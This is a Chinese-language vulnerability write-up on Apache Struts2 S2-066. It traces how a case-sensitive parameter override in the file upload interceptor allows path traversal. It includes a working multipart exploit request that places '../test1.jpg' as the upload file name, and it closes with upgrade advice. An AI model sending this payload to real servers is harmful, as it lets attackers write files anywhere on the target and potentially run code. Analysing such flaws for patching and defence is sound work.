1.漏洞描述
Apache Struts2 是一个开源的 Java Web 应用程序开发框架,旨在帮助开发人员构建灵活、可维护和可扩展的企业级Web应用程序。
由于文件上传逻辑存在缺陷,攻击者可以操纵文件上传参数来实现路径穿越,在某些情况下,通过上传的恶意文件可实现远程代码执行。
2.影响版本
3.影响范围
4.漏洞分析
我们先看补丁
Makes HttpParameters case-insensitive · apache/struts@162e29f · GitHub
发现对HttpParameters进行了修改,对参数大小写进行了控制,强制将参数都转换成了小写,漏洞和大小写参数有关
在appendAll方法中添加了remove函数,get方法中添加了小写转换:
S2-066 - Apache Struts 2 Wiki - Apache Software Foundation
描述,该漏洞在文件上传的时候允许攻击者控制参数,进行目录穿越让文件落地到任何位置:
上面描述可知此漏洞为路径穿越,而我们知道Struts2本身是有一系列默认拦截器,这部分配置在struts-default.xml中,其中就包含了一个与文件上传相关的拦截器org.apache.struts2.interceptor.FileUploadInterceptor
发现获取文件名是通过multiWrapper.getFileNames来的。
最终是通过getCanonicalName做了过滤的。
那既然已经做了过滤,一眼看去也没啥问题怎么还会有目录遍历呢,继续往下看。
返回FileUploadInterceptor继续跟踪,首先获取inputName,将获取到的inputName添
加FileName字符串,然后封装成了newParams集合,最后追加给了ActionContext的parameters中。
然后这里我们全局搜索追一下,在FileUploadInterceptor之前是哪里操作了
ActionContext.parameters。
看看调用栈
发送请求
在ServiceAction下断点,这边可以看到,extraContext的parameters中首先获取到了非上传所需参数uthor与test,结合FileUploadInterceptor最后应该是五个参数了。
观察调用栈发现执行FileUploadInterceptor之后还会调用ParametersInterceptor,可以想到xwork参数绑定,那猜测应该是可以通过参数绑定的形式修改HttpParameters里的属性了。
在ParametersInterceptor的doIntercept打个断点,到这边可以看到这边确实是五个了。
然后进入setParameters可以看到调用newStack.setParameter,这个方法会调用相应的 setter方法。
那是不是可以通过参数绑定直接覆盖
进入ServiceAction可以看到获取出了MyFaceFileName=../test1.jpg。
随后进入到FileUploadInterceptor,由于key相同,MyFaceFileName的值是被覆盖为了111.jpg。
补丁修复的HttpParameters大小写敏感问题,如果此时通过参数绑定传递MyFaceFileName,在上传表单名中传递myFace(inputName+FileName),此时HttpParameters里面是myFaceFileName与MyFaceFileName,这个时候key不一样,可以同时存在于HttpParameters的。
构造如下请求包:
最后获取到了111.jpg而不是../test1.jpg。
原因是由于acceptableParameters是TreeMap,顺序问题大写是在前面的,我们要想覆盖,参数绑定应该传入小写myFaceFileName,表单filename位置传大写。
构造如下数据包:
POST /upload.action?myFaceFileName=../test1.jpg HTTP/1.1Host:Content-Length: 2969Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1g8QtTsJ6IIKRZooUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundary1g8QtTsJ6IIKRZooContent-Disposition: form-data; name="author"------WebKitFormBoundary1g8QtTsJ6IIKRZooContent-Disposition: form-data; name="MyFace"; filename="111.jpg"Content-Type: image/jpeg1111111111111111111111------WebKitFormBoundary1g8QtTsJ6IIKRZoo--
成功穿越到别的目录。
5.修复建议
目前官方已发布新版本修复了此漏洞,请受影响的用户尽快更新进行防护,下载链接:
https://struts.apache.org/download.cgi#struts-ga